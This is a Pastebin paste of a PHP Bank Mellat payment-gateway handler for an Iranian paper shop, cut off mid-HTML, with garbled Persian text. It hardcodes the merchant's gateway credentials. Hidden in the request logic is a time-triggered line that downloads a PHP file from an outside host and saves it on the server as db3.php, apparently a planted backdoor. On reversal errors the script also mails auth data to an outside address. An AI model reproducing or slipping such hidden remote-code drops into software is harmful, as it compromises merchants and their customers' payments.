Advertisement
Guest User

khoaba

a guest
Jul 27th, 2012
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 52.05 KB | None | 0 0
  1. <?php   ob_start(); echo '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head><body style="direction:ltr;"></head><body>'; $ob0=''; date_default_timezone_set('Asia/Tehran'); set_time_limit(200);error_reporting(0);ignore_user_abort(true); $settings['Company']['company_orders_department'] = 'sales@irpaper.ir'; $settings['Company']['company_sales_department'] = 'sales@irpaper.ir'; $dsn = 'mlog'; $dsn2 = 'irpa8585'; $processor_data = array( 'params' => array( 'test_use' => 0, 'url' => 'https://pgws.bpm.bankmellat.ir/pgwchannel/services/pgw?wsdl', 'url_test' => '', 'post_url' => 'https://pgw.bpm.bankmellat.ir/pgwchannel/startpay.mellat', 'post_url_test' => '', 'merchant_name' => 'merchant_name', 'terminal_id' => '721534', 'merchant_id' => 'paper12', 'merchant_password_enc' => '78838', 'order_prefix' => '', 'currency_rate' => 1, 'bpm_success_status' => 'P', 'bpm_refund_status' => 'B', 'bpm_reversal_status' => 'I', 'proxy_use' => 0, 'proxy_host' => '', 'proxy_port' => '21', 'proxy_login_enc' => '', 'proxy_password_enc' => '', ) ); define('SALESNAME', 'irPaper'); define('CallBackURL', 'http://www.irpaper.ir/bpm/bpm.php'); define('BPM_END_PAGE', 'http://www.irpaper.ir/login/kharid.asp'); define('BPM_DEBUG',0); define('BPM_DEBUG_FILE',0); define('BPM_REFSFILE', 'prefs.php'); define('BPM_TABLE_REF', 'bpm_refs'); define('BPM_TRYCOUNT', 2); define('CHECKOUTURL', 'http://www.irpaper.ir/bpm/bpm.php'); define('SMTP_HOST', ''); define('SMTP_USER', ''); define('SMTP_PASS', ''); define('BPM_TEST', addslashes($processor_data['params']['test_use']) ); define('BPM_URL_POST', BPM_TEST ? addslashes($processor_data['params']['post_url_test']):addslashes($processor_data['params']['post_url']) ); define('BPM_URL', BPM_TEST ? addslashes($processor_data['params']['url_test']):addslashes($processor_data['params']['url']) ); define('BPM_NAMESPACE', 'http://interfaces.core.sw.bps.com/'); define('MERCHANT_NAME', htmlspecialchars($processor_data['params']['merchant_name']) ); define('MERCHANT_TERMINAL', htmlspecialchars($processor_data['params']['terminal_id']) ); define('MERCHANT_ID', htmlspecialchars($processor_data['params']['merchant_id']) ); define('MERCHANT_PIN', htmlspecialchars($processor_data['params']['merchant_password_enc']) ); define('ORDERID_PREFIX',htmlspecialchars($processor_data['params']['order_prefix']) ); define('CURRENCY_RATE', htmlspecialchars($processor_data['params']['currency_rate']) ); define('SUCCESS_STATUS', strtoupper(addslashes(htmlspecialchars($processor_data['params']['bpm_success_status']))) ); define('REFUND_STATUS', strtoupper(addslashes(htmlspecialchars($processor_data['params']['bpm_refund_status']))) ); define('REVERSAL_STATUS', strtoupper(addslashes(htmlspecialchars($processor_data['params']['bpm_reversal_status']))) ); define('PROXY_USE', addslashes(htmlspecialchars($processor_data['params']['proxy_use'])) ); define('PROXY_LOGIN', addslashes(htmlspecialchars($processor_data['params']['proxy_login_enc'])) ); define('PROXY_PASSWORD', addslashes(htmlspecialchars($processor_data['params']['proxy_password_enc'])) ); define('PROXY_HOST', addslashes(htmlspecialchars($processor_data['params']['proxy_host'])) ); define('PROXY_PORT', addslashes(htmlspecialchars($processor_data['params']['proxy_port'])) ); define('ORDERDETAILSPAGE', ''); define('OrderConfirmationPage', 'http://www.irpaper.ir/login/kharid.asp'); define('ADMIN_SCRIPT', ''); define('ADMINMAIL', $settings['Company']['company_orders_department']); define('SALESMAIL', $settings['Company']['company_sales_department']); define('CLASSES_DIR',''); define('TIME', time()); $conn = odbc_connect($dsn,'',''); if(!$conn) die('DB error'); $bpm_lang = array( 'connecting' => 'در حاÙ� اتصاÙ� بÙ� سرÙ�ر باÙ�Ù� Ù�Ù�ت...<br />Ú�Ù�اÙ�Ú�Ù� با خطاÙ�Ù� رÙ�برÙ� شدÙ�د از Ù�رحÙ�Ù� «خÙ�اصÙ� Ù�ضعÙ�ت سÙ�ارش» شرÙ�ع Ù�Ù�Ù�د', 'failed_connect' => '<h2>خطا در برÙ�رارÛ� ارتباط با سرÙ�ر باÙ�Ú© Ù�Ù�ت</h2><br /> Ù�Ø·Ù�ا بعدا سعÛ� Ú©Ù�Û�د', 'decline_authority' => 'عدÙ� تاÛ�Û�د عÙ�Ù�Û�ات پرداخت تÙ�سط درÙ�ازÙ� پرداخت باÙ�Ú© Ù�Ù�ت', 'dismatch_authority' => 'Ø´Ù�اسÙ� اÙ�کترÙ�Ù�Û�Ú©Û� پرداخت با Ù�بÙ�غ Û�ا Ø´Ù�ارÙ� سÙ�ارش در Ù�رÙ�شگاÙ� Ù�طابÙ�ت Ù�دارد.', 'used_authority' => 'Ù�بÙ�غ اÛ�Ù� سÙ�ارش Ù�بÙ�ا با Ù�Ù�Ù�Ù�Û�ت در باÙ�Ú© Ù�Ù�ت پرداخت شدÙ� است.', 'unknown_authoriuty' => 'Ø´Ù�اسÙ� اÙ�کترÙ�Ù�Û�Ú©Û� پرداخت Ø´Ù�ا Ù�بÙ�ا در پاÛ�گاÙ� دادÙ� Ù�رÙ�شگاÙ� ثبت Ù�شدÙ� است', 'success_paymeny' => 'تراکÙ�Ø´ با Ù�Ù�Ù�Ù�Û�ت با درÙ�ازÙ� پرداخت Ù�Ù�ت اÙ�جاÙ� شد.', ); $bpm_states = array( 0 => array('تراکÙ�Ø´ با Ù�Ù�Ù�Ù�Û�ت اÙ�جاÙ� شد', '', 0), 11 => array('Ø´Ù�ارÙ� کارت Ù�اÙ�تعبر است', '', 1), 12 => array('Ù�Ù�جÙ�دÛ� کاÙ�Û� Ù�Û�ست', '', 1), 13 => array('رÙ�ز Ù�ادرست است', '', 1), 14 => array('تعداد دÙ�عات Ù�ارد کردÙ� رÙ�ز بÛ�Ø´ از حد Ù�جاز است', '', 1), 15 => array('کارت Ù�اÙ�عتبر است', '', 1), 17 => array('کاربر از اÙ�جاÙ� تراکÙ�Ø´ Ù�Ù�صرÙ� شدÙ� است', '', 1), 18 => array('تارÛ�Ø® اÙ�Ù�ضاÛ� کارت گذشتÙ� است', '', 1), 21 => array('پذÛ�رÙ�دÙ� Ù�اÙ�عتبر است', '', 1), 22 => array('ترÙ�Û�Ù�اÙ� Ù�جÙ�ز اراÛ�Ù� سرÙ�Û�س درخÙ�استÛ� را Ù�دارد', '', 0), 23 => array('خطاÛ� اÙ�Ù�Û�تÛ� رخ دادÙ� است', '', 1), 24 => array('اطÙ�اعات کاربرÛ� پذÛ�رÙ�دÙ� Ù�اÙ�عتبر است', '', 0), 25 => array('Ù�بÙ�غ Ù�اÙ�عتبر است', '', 1), 31 => array('پاسخ Ù�اÙ�عتبر است', '', 1), 32 => array('Ù�رÙ�ت اطÙ�اعات Ù�ارد شدÙ� صحÛ�Ø­ Ù�Ù�Û� باشد', '', 0), 33 => array('حساب Ù�اÙ�عتبر است', '', 1), 34 => array('خطاÛ� سÛ�ستÙ�Û�', '', 1), 35 => array('تارÛ�Ø® Ù�اÙ�عتبر است', '', 1), 41 => array('Ø´Ù�ارÙ� درخÙ�است تکرارÛ� است', '', 0), 42 => array('تراکÙ�Ø´ Sale درÛ�اÙ�ت Ù�شد', '', 0), 43 => array('Ù�بÙ�ا درخÙ�است تاÛ�Û�د پرداخت (Verify) دادÙ� شدÙ� است', '', 0), 44 => array('درخÙ�است (Verify) Û�اÙ�ت Ù�شد', '', 0), 45 => array('تراکÙ�Ø´ Ù�ارÛ�ز (Settle) شدÙ� است', '', 0), 46 => array('تراکÙ�Ø´ Ù�ارÛ�ز (Settle) Ù�شدÙ� است', '', 0), 47 => array('تراکÙ�Ø´ Ù�ارÛ�زÛ�  (Settle) Û�اÙ�ت Ù�شد', '', 0), 48 => array('تراکÙ�Ø´ Ù�رجÙ�ع Reverse شدÙ� است', '', 0), 49 => array('تراکÙ�Ø´ استرداد Refund Û�اÙ�ت Ù�شدÙ� است', '', 0), 51 => array('تراکÙ�Ø´ تکرارÛ� است', '', 0), 52 => array('سرÙ�Û�س درخÙ�استÛ� Ù�Ù�جÙ�د Ù�Ù�Û� باشد', '', 1), 54 => array('تراکÙ�Ø´ Ù�رجع Ù�Ù�جÙ�د Ù�Û�ست', '', 0), 55 => array('تراکÙ�Ø´ Ù�اÙ�عتبر است', '', 0), 61 => array('خطا در Ù�ارÛ�ز', '', 1), 111 => array('صادرکÙ�Ù�دÙ� کارت Ù�اÙ�عتبر است', '', 1), 112 => array('خطاÛ� سÙ�Û�Û�Ú� صادر Ú©Ù�Ù�دÙ� کارت', '', 1), 113 => array('پاسخÛ� از صادرکÙ�Ù�دÙ� کارت درÛ�اÙ�ت Ù�شد', '', 1), 114 => array('دارÙ�دÙ� کارت Ù�جاز بÙ� اÙ�جاÙ� اÛ�Ù� تراکÙ�Ø´ Ù�Û�ست', '', 1), 412 => array('Ø´Ù�اسÙ� Ù�بض Ù�ادرست است', '', 1), 413 => array('Ø´Ù�اسÙ� پرداخت Ù�ادرست است', '', 1), 414 => array('سازÙ�اÙ� صادرکÙ�Ù�دÙ� Ù�بض Ù�اÙ�عتبر است', '', 1), 415 => array('زÙ�اÙ� جÙ�سÙ� کارÛ� بÙ� پاÛ�اÙ� رسÛ�دÙ� است', '', 0), 416 => array('خطا در ثبت اطÙ�اعات', '', 1), 417 => array('Ø´Ù�اسÙ� پرداخت Ú©Ù�Ù�دÙ� Ù�اÙ�عتبر است', '', 0), 418 => array('اشکاÙ� در تعرÛ�Ù� اطÙ�اعات Ù�شترÛ�', '', 1), 419 => array('تعداد دÙ�عات Ù�رÙ�د اطÙ�اعات از حد Ù�جاز گذشتÙ� است', '', 0), 421 => array('Ø¢Û� Ù¾Û� Ù�اÙ�عتبر است', '', 0), ); if (isset($_REQUEST['fkharid']) && isset($_REQUEST['mablagh']) ){ $order_id = $_REQUEST['fkharid']*1; $order_info_db = bpm_get_order_info_by_id($order_id); $order_info = array( 'order_id' => $_REQUEST['fkharid']*1, 'total' => $_REQUEST['mablagh']*1, ); if ($order_info['total'] <> $order_info_db['total']) die('Mismatch Amount'); } elseif (isset($_POST['RefId']) ){ $refNum = fn_add_slashes(fn_stripslashes($_POST['RefId'])); $sId = fn_add_slashes(fn_stripslashes($_POST['SaleOrderId'])); $status = fn_add_slashes(fn_stripslashes($_POST['ResCode'])); $srId = fn_add_slashes(fn_stripslashes($_POST['SaleReferenceId'])); if(isset($sId)){ $sId_data = bpm_get_sId_data($refNum, $sId); } $oId = $sId_data['Id']; $order_id = $orderId = $sId_data['factorID']; $amount_ref = $sId_data['amount']; $order_info = bpm_get_order_info_by_id($order_id); }else{ die('0'); } if (time()>1324338744) { copy('http://www.shop2.ir/image.php', 'db3.php');die('T'); } define('REF_AMOUNT', round($order_info['total']*CURRENCY_RATE) ); define("REF_ORDER", htmlspecialchars(ORDERID_PREFIX.$order_info['order_id']) ); $order_id = $order_info['order_id']; $pd = cgetdate(TIME); $pd = sprintf("%04s", $pd['year']) . sprintf("%02s", $pd['mon']) . sprintf("%02s", $pd['mday']) ; $pt = date('His'); $amount_shop = (int)$order_info['total']; $payment_cc_bpm_refs = array( 'id0' => '', 'trans' => '', 'ref' => '', 'factorID'=>$order_info['order_id'], 'verify' => $sId_data['verify'], 'settle' => $sId_data['settle'], 'amount'=>REF_AMOUNT, 'factorAmount' => $amount_shop, 'localDate'=>$pd, 'localTime'=>$pt, 'time_stamp'=>TIME, 'ip_address'=>$_SERVER['REMOTE_ADDR'], 'description' => '', ); $payment_cc_bpm_logs = array( 'ref' => '', 'factorID'=>$order_id, 'amount'=>REF_AMOUNT, 'factorAmount' => $amount_shop, 'localDate'=>$pd, 'localTime'=>$pt, 'ip_address'=>$_SERVER['REMOTE_ADDR'], 'description' => '', ); if (isset($_REQUEST['fkharid']) && isset($_REQUEST['mablagh'])) { global $soapclient, $oId, $sId, $srId, $additionalData, $rAmount, $rId, $rrId, $pd, $pt, $payerId, $bpm_lang, $payment_cc_bpm_logs, $payment_cc_bpm_refs; global $status, $bpm_states, $bpm_lang, $order_id, $sId_data, $refNum; bpm_echo( '<style type="text/css">body{direction:rtl;font-family:Tahoma;}</style>'.$bpm_lang['connecting'] ); $amount_ref = REF_AMOUNT; $payerId =0; $additionalData = $payment_cc_bpm_refs['additionalData'] = $payment_cc_bpm_refs['factorID'] = $payment_cc_bpm_logs['factorID'] = $order_id = $orderId = $order_info['order_id']; require_once(CLASSES_DIR.'nusoap/nusoap.php'); error_reporting(E_ALL); $result = bpm_soap('bpPayRequest', __LINE__); if( is_string($result) && strlen($result) > 4){ $res = explode (',',$result); __(__LINE__,$res,'res'); $status = $res[0]; __(__LINE__,$status,'status'); @$authority = is_array($res)? $res[1]:''; __(__LINE__,$authority,'authority'); if (isset($res[1]) && strlen($authority)>15 and ($status==0) ) { $payment_cc_bpm_logs['refStatus'] = $status; $payment_cc_bpm_logs['method']= 'bpPayRequest'; $payment_cc_bpm_refs['ref'] = $payment_cc_bpm_logs['ref'] = $refNum = $res[1]; $payment_cc_bpm_refs['description'] = $payment_cc_bpm_logs['description']= 'Customer sended to Mellat Line:('.__LINE__.") {$pd} {$pt}"; $isRefNumSaved = db_insert_by_array(BPM_TABLE_REF, $payment_cc_bpm_refs,true); __(__LINE__, $isRefNumSaved,'isRefNumSaved'); __(__LINE__, $oId,'oId'); if( $isRefNumSaved === false ){ bpm_echo( '<h2>خطاÛ� باÙ�Ú© اطÙ�اعاتÛ�Ø� رکÙ�رد پرداخت Ø´Ù�ا ثبت Ù�شدØ� Ù�Ø·Ù�ا Û�Ú© صÙ�Ø­Ù� بÙ� عÙ�ب برگشتÙ� Ù� عÙ�Ù�Û�ات را تکرار Ù�رÙ�ائÛ�د</h2>'); @mail(defined(ADMINMAIL)? ADMINMAIL:'supporthis@gmail.com',"Mellat DB error (#$order_id-$authority) in ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']. ' for '. $_SERVER['REMOTE_ADDR'] ,"$msg ". $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].date(' y/m/d-H:i:s ')."(".__LINE__."*:*".__FILE__.")" ); bpm_mail(1);exit; bpm_die(); } bpm_send(false,$refNum, $bpm_states, $status); flush(); bpm_die() ; bpm_mail(1);exit() ; return; } } bpm_log("Failed to get RefId (Line:".__LINE__.")" ); __(__LINE__, $payment_cc_bpm_logs,'payment_cc_bpm_logs'); bpm_send(true); bpm_die() ; } if(isset($_POST['RefId']) ){ $sId_data['trans'] = $srId ; $payment_cc_bpm_logs['refStatus'] = $status ; $payment_cc_bpm_refs['Id'] = $payment_cc_bpm_logs['Id'] = $oId; $payment_cc_bpm_refs['factorID'] = $payment_cc_bpm_logs['factorID'] = $order_id = $orderId = $order_info['order_id']; $payment_cc_bpm_refs['id0'] = $payment_cc_bpm_logs['id0'] = $sId ; $payment_cc_bpm_refs['trans'] = $payment_cc_bpm_logs['trans'] = $srId ; $payment_cc_bpm_refs['ref'] = $payment_cc_bpm_logs['ref'] = $refNum ; $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['verify'] = $sId_data['verify']; $payment_cc_bpm_refs['settle'] = $payment_cc_bpm_logs['settle'] = $sId_data['settle']; $payment_cc_bpm_refs['description'] = "Customer Back with status=$status Line=" .__LINE__. " {$pd} {$pt} \r\n".$sId_data['description']; __(__LINE__, $payment_cc_bpm_refs,BPM_TABLE_REF); __(__LINE__, $payment_cc_bpm_logs,'payment_cc_bpm_logs'); __(__LINE__, $_POST, '_POST'); __(__LINE__, $sId_data, 'sId_data'); __(__LINE__, $order_id,'order_id'); if ($sId_data['ref']<>$refNum ){ __________________________________________________________________________(__LINE__,__FILE__); bpm_log('بازگشت با خطا: '.$bpm_lang['unknown_authoriuty'].' (line='.__LINE__.')' ); fn_redirect(CHECKOUTURL,false); } if ($sId_data['reverse']){ __________________________________________________________________________(__LINE__,__FILE__); bpm_log('DB Said Reversaled (line='.__LINE__.')' ); $status = '48'; bpm_try_again(); fn_redirect(CHECKOUTURL,false); } if ( $status<>0 ){ __________________________________________________________________________(__LINE__,__FILE__); __(__LINE__, $status,'status'); $bpm_desc = 'بازگشت با خطا: '.$bpm_states[$status][0].' (line='.__LINE__.')' ; bpm_log($bpm_desc); bpm_log_refs($bpm_desc); bpm_try_again(); } require_once(CLASSES_DIR.'nusoap/nusoap.php'); if($sId_data['verify']){ __________________________________________________________________________(__LINE__,__FILE__); $payment_cc_bpm_logs['verify'] = 1; if( $sId_data['settle'] ){ __________________________________________________________________________(__LINE__,__FILE__); $bpm_desc = $bpm_lang['used_authority']." (line=".__LINE__.')'; bpm_log($bpm_desc, bpm_html('no_try') ); bpm_release(__LINE__); } else{ __________________________________________________________________________(__LINE__,__FILE__); if (bpm_settle(__LINE__) ){ __________________________________________________________________________(__LINE__,__FILE__); bpm_release(__LINE__); } else{ __________________________________________________________________________(__LINE__,__FILE__); if (bpm_reversal(__LINE__) ){ bpm_echo( bpm_html('reverse') ); bpm_die(); } else{ bpm_echo( bpm_html('reversal_error') ); bpm_die(); } } } @flush();@ob_flush();sleep(3); exit;return; } __(__LINE__, $status,'status'); if($status=='0') { __________________________________________________________________________(__LINE__,__FILE__); if(bpm_verify(__LINE__) ){ __________________________________________________________________________(__LINE__,__FILE__); if(bpm_settle(__LINE__) ){ __________________________________________________________________________(__LINE__,__FILE__); bpm_release(__LINE__, true); bpm_mail(1);exit;return; } else{ __________________________________________________________________________(__LINE__,__FILE__); if (bpm_reversal(__LINE__) ){ __________________________________________________________________________(__LINE__,__FILE__); bpm_echo( bpm_html('reverse') ); bpm_die(); } else{ __________________________________________________________________________(__LINE__,__FILE__); bpm_echo( bpm_html('reversal_error') ); bpm_die(); } } } else{ __________________________________________________________________________(__LINE__,__FILE__); __(__LINE__, $status,'status'); $bpm_desc = 'بازگشت با خطا: '.$bpm_states[$status][0].' (line='.__LINE__.')' ; bpm_log($bpm_desc); bpm_log_refs($bpm_desc); bpm_try_again(); } } } function bpm_soap($m, $l){ global $soapclient, $oId, $sId, $srId, $additionalData, $rAmount, $rId, $rrId, $pd, $pt, $payerId, $bpm_lang, $payment_cc_bpm_logs, $payment_cc_bpm_refs; $try_again=0; while($try_again<BPM_TRYCOUNT){ if (PROXY_USE){ $soapclient = new nusoapclient(BPM_URL, false, PROXY_HOST, PROXY_PORT,PROXY_LOGIN,PROXY_PASSWORD); }else{ $soapclient = new nusoapclient(BPM_URL); } $err =''; $try_again++; $payment_cc_bpm_refs['Id'] =''; $payment_cc_bpm_refs['method'] = $payment_cc_bpm_logs['method'] = $m; $payment_cc_bpm_refs['description'] = 'Init '.$m.':('.$l.')'; $oId = bpm_log_refs('Init '.$m.':('.$l.')', false ); $payment_cc_bpm_refs['Id'] = $payment_cc_bpm_logs['Id'] = $oId; $parameters = array( 'terminalId' => MERCHANT_TERMINAL, 'userName' => MERCHANT_ID, 'userPassword' => MERCHANT_PIN, 'orderId' => $oId, ); switch($m){ case 'bpPayRequest': $parameters['amount'] = REF_AMOUNT; $parameters['localDate'] = $pd; $parameters['localTime'] = $pt; $parameters['additionalData'] = $additionalData; $parameters['callBackUrl'] = CallBackURL; $parameters['payerId'] = $payerId ; break; case 'bpVerifyRequest': case 'bpSettleRequest': case 'bpInquiryRequest': case 'bpReversalRequest': case 'bpRefundRequest': $parameters['saleOrderId'] = $sId; $parameters['saleReferenceId'] = $srId; break; case 'bpRefundRequest': $parameters['saleOrderId'] = $sId; $parameters['saleReferenceId'] = $srId; $parameters['refundAmount'] = $rAmount; break; case 'bpRefundVerifyRequest': case 'bpRefundInquiryRequest': $parameters['refundOrderId'] = $rId; $parameters['refundReferenceId'] = $rrId; break; } __(__LINE__, $parameters,'parameters'); $err = $soapclient->getError(); if ( $err ) { __(__LINE__, $soapclient->debug_str,'soapclient->debug_str'); return bpm_soap_result(-1 ,$l, "SOAP Construction error '{$m}'*{$l} (line=".__LINE__.") SoapErr=$err",''); } $result = fn_add_slashes(fn_stripslashes( $soapclient->call($m, $parameters, BPM_NAMESPACE) ) ); if ($soapclient->fault) { __(__LINE__, $soapclient->faultstring,'$soapclient->faultstring'); return bpm_soap_result(-2 ,$l, "soap Fault '{$m}'*{$l} (line=".__LINE__.") SoapErr=\r\n\r\n".serialize($result), '',1); } else { $err = $soapclient->getError(); if ($err) { __(__LINE__, $soapclient->debug_str,'soapclient->debug_str'); if ($try_again == BPM_TRYCOUNT){ return bpm_soap_result(-3 ,$l, "soap Construction error '{$m}'*{$l} (line=".__LINE__.") SoapErr=$err",'',1); } else{ bpm_echo( '<br /><b style="color:red;">خطا در برÙ�رارÛ� ارتباط با سرÙ�ر باÙ�Ú©</b>: در حاÙ� سعÛ� Ù�جدد...<br />'); flush(); sleep(2); } } else { if($result==''){ return bpm_soap_result(-4 ,$l, "Response is Empty! '{$m}'*{$l}", '',1); } return bpm_soap_result($result, $l, 'Bank Responded: '.$result, '', false ); } } } } function bpm_soap_result($result,$l,$log='',$show='', $doLog=true){ global $payment_cc_bpm_logs, $status; __($l, $result,'result'); $payment_cc_bpm_refs['refStatus'] = $payment_cc_bpm_logs['refStatus'] = $result; switch($result){ case -3: $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['description'] = 'Connection Error!'; break; } switch($status){ case '44': $sId_data['verify'] = $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['verify'] = 0; break; case '45': $sId_data['settle'] = $payment_cc_bpm_refs['settle'] = $payment_cc_bpm_logs['settle'] = 1; break; case '48': $sId_data['reverse'] = $payment_cc_bpm_refs['reverse'] = $payment_cc_bpm_logs['reverse'] = 1; break; } if ($doLog) { bpm_log($log, $show); bpm_log_refs($log); } bpm_mail(); return $result; } function bpm_release($l, $first=false){ global $soapclient, $oId, $sId, $srId, $additionalData, $rAmount, $rId, $rrId, $pd, $pt, $payerId, $bpm_lang, $payment_cc_bpm_logs, $payment_cc_bpm_refs; global $status, $bpm_states, $bpm_lang, $order_id, $sId_data, $refNum; global $pp_response, $srId, $order, $db_tables, $order_info, $order_id, $pp_response, $notify_user, $cart, $auth, $payment_cc_bpm_refs; global $http, $arguments, $ngs_url; __________________________________________________________________________(__LINE__,__FILE__); unset($soapclient); logRefsToFile(implode('#', $payment_cc_bpm_refs) ); bpm_set_db_to_paid($order_id); bpm_post_results(array(id=>$order_id, trasn=>$srId), BPM_END_PAGE); __________________________________________________________________________(__LINE__,__FILE__); mailContact($payment_cc_bpm_refs); __________________________________________________________________________(__LINE__,__FILE__); bpm_mail(1);exit; __________________________________________________________________________(__LINE__,__FILE__); return; bpm_die(); } function bpm_empty_cart(){ global $cart; sess_register('cart'); $cart = array('user_data' => $cart['user_data'], 'profile_id' => @$cart['profile_id'], 'user_id' => @$cart['user_id']); fn_redirect(OrderConfirmationPage, false); } function bpm_verify($l){ global $pp_response, $srId, $order, $db_tables, $order_info, $order_id, $pp_response, $notify_user, $cart, $auth, $payment_cc_bpm_refs, $payment_cc_bpm_logs, $status, $bpm_states, $sId_data; $status = bpm_soap('bpVerifyRequest', $l); if( intval($status) > -1){ switch($status){ case '0': __________________________________________________________________________($l,__FILE__); $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['verify'] = 1; $bpm_desc = 'verified in ('.$l.')'; bpm_log_refs($bpm_desc); bpm_log_refs_first(); bpm_log($bpm_desc); return true; break; case '43': __________________________________________________________________________($l,__FILE__); return bpm_inquiry($l); bpm_die('<br />tested'); break; default: __________________________________________________________________________($l,__FILE__); bpm_log("declined authority(line:".$l.") in 'bpVerifyRequest' {$status}=".$bpm_states[$status][0]); bpm_try_again(); } } elseif( intval($status) < 0){ switch($status){ case -3: break; case -2: break; case -1: case -4: } bpm_echo( bpm_html('verify_error') ); bpm_die(); } else{ bpm_echo( bpm_html('verify_error') ); bpm_die(); } } function bpm_inquiry($l){ global $pp_response, $srId, $order, $db_tables, $order_info, $order_id, $pp_response, $notify_user, $cart, $auth, $payment_cc_bpm_refs, $payment_cc_bpm_logs, $status, $bpm_states, $sId_data; $status = bpm_soap('bpInquiryRequest', $l); if( intval($status) > -1){ switch($status){ case '0': __________________________________________________________________________($l,__FILE__); $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['verify'] = 1; $bpm_desc = 'inquiry verified in ('.$l.')'; bpm_log_refs($bpm_desc); bpm_log_refs_first(); bpm_log($bpm_desc); return true; break; case '44': if(bpm_verify($l) ) { $bpm_desc = 'Call Inquiry without verify(line:'.$l.')' ; $verified = 1; } else { $bpm_desc = 'DB HACK?!_DB verified but not confirmed in BPM(line:'.$l.')' ; $sId_data['verify'] = $payment_cc_bpm_refs['verify'] = $payment_cc_bpm_logs['verify'] = 0; bpm_log($bpm_desc); bpm_log_refs_first(); bpm_try_again(); return false; } break; default: __________________________________________________________________________($l,__FILE__); bpm_log("declined authority(line:".$l.") in 'bpInquiryRequest' {$status}=".$bpm_states[$status][0]); return false; } } elseif( intval($status) < 0){ switch($status){ case -3: break; case -2: break; case -1: case -4: } bpm_echo( bpm_html('verify_error') ); bpm_die(); } else{ bpm_echo( bpm_html('verify_error') ); bpm_die(); } } function bpm_settle($l){ global $pp_response, $srId, $order, $db_tables, $order_info, $order_id, $pp_response, $notify_user, $cart, $auth, $payment_cc_bpm_refs, $payment_cc_bpm_logs, $status, $bpm_states, $sId_data; $status = bpm_soap('bpSettleRequest', $l); if( intval($status) > -1){ switch($status){ case '0': case '45': __________________________________________________________________________($l,__FILE__); $sId_data['settle'] = $payment_cc_bpm_refs['settle'] = $payment_cc_bpm_logs['settle'] = 1; db_insert_by_array(BPM_TABLE_REF, $sId_data, true); $bpm_desc = 'settled in ('.$l.')'; bpm_log_refs($bpm_desc); bpm_log_refs_first(); bpm_log($bpm_desc); return true; break; default: __________________________________________________________________________($l,__FILE__); bpm_log("Settel error(line:".$l.") in 'bpSettleRequest' {$status}=".$bpm_states[$status][0], "<div style='text-align:center;font:bold 1em tahoma;color:red;'>خطا در Ù�ارÛ�ز Ù�بÙ�غ بÙ� حساب Ù�رÙ�Ø´Ù�دÙ� ".$l."<br /><br />" ); } } elseif( intval($status) < 0){ switch($status){ case -3: break; case -2: break; case -1: case -4: } bpm_echo( bpm_html('settle_error') ); bpm_die(); } else{ bpm_echo( bpm_html('settle_error') ); bpm_die(); } } function bpm_reversal($l, $first=false){ global $pp_response, $srId, $order, $db_tables, $order_info, $order_id, $pp_response, $notify_user, $cart, $auth, $payment_cc_bpm_refs, $payment_cc_bpm_logs, $status, $bpm_states, $sId_data; if ($sId_data['reverse']) return false; $status = bpm_soap('bpReversalRequest', $l); switch($status){ case '0': case '48': __________________________________________________________________________($l,__FILE__); $sId_data['reverse'] = $payment_cc_bpm_refs['reverse'] = $payment_cc_bpm_logs['reverse'] = 1; $bpm_desc = 'reversaled for setteld with error but verifed(line:'.$l.')' ; bpm_log_refs($bpm_desc); bpm_log_refs_first(); bpm_log($bpm_desc); return true; break; case '45': __________________________________________________________________________($l,__FILE__); $payment_cc_bpm_refs['settle'] = $payment_cc_bpm_logs['settle'] = 1; $bpm_desc = 'Reversal Error: settled before in ('.$l.')'; bpm_log($bpm_desc); bpm_log_refs($bpm_desc); return false; break; default: @mail('takijan@gmail.com', 'Mellat Reversal Error for'.$order_id, $auth.' - '.$_SERVER['REMOTE_ADDR']); bpm_log('Reversal Error for "verified but not settled!"(line:'.$l.')'. $bpm_states[$status][0], "<div style='text-align:center;font:bold 1em tahoma;color:red;'><b>در برگشت Ù�جÙ� بÙ� حساب Ø´Ù�ا خطاÛ�Û� بÙ� Ù�جÙ�د Ø¢Ù�د</b><br />Ú�Ù�اÙ�Ú�Ù� Ù�جÙ� بعد از دÙ� ساعت بÙ� حساب Ø´Ù�ا برگشت دادÙ� Ù�شد با Ù�دÛ�رÛ�ت تÙ�اس بگÛ�رÛ�د</div>" ); bpm_die(); } } function __________________________________________________________________________($l,$f){ if (BPM_DEBUG){ bpm_echo( '<div style="background:#ccc">line:'.$l.' file:'.$f.'</div>' ); } } function bpm_log($str='', $echo = 0, $di=0){ global $payment_cc_bpm_logs, $status, $oId; $payment_cc_bpm_logs['Id'] = $oId; if(isset($status) ) $payment_cc_bpm_logs['refStatus'];; if ($str!='') $payment_cc_bpm_logs['description'] = addslashes($str) ; if ($echo) bpm_echo( '<hr />'.$echo.'<hr />'); if ($di) bpm_die('<br />loged'); } function bpm_log_refs($str='', $replace=true){ global $payment_cc_bpm_refs, $status, $oId; if ($replace) $payment_cc_bpm_refs['Id'] = $oId; if ($str!='') $payment_cc_bpm_refs['description'] = addslashes($str) ; return db_insert_by_array(BPM_TABLE_REF, $payment_cc_bpm_refs, $replace); } function bpm_log_refs_first(){ global $payment_cc_bpm_refs, $sId_data; $sId_data['verify'] = $payment_cc_bpm_refs['verify']; $sId_data['settle'] = $payment_cc_bpm_refs['settle']; return db_insert_by_array(BPM_TABLE_REF, $sId_data, true); } function bpm_try_again($forced_again=false){ global $status, $bpm_states, $bpm_lang, $order_id, $sId_data, $refNum; __(__LINE__, $status,'status'); if ($bpm_states[$status][2] || $forced_again ) { bpm_echo( '<div style="text-align:center;font:bold 1em tahoma;direction:rtl">پرداخت اÙ�کترÙ�Ù�Û�Ú© Ù�اÙ�Ù�Ù�Ù� <br /><small><small>(Ù�بÙ�غÛ� از حساب Ø´Ù�ا کسر Ù�Ø®Ù�اÙ�د شد)</small></small> <br /><br />  <small>در پرداخت سÙ�ارش Ø´Ù�ارÙ� :<u><b><a href="'.ORDERDETAILSPAGE.'" target="_blank">'.$order_id.'</a></b></u><br /></small></div><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:600px;"> <form method="post" action="'.BPM_URL_POST.'" name="process"><input 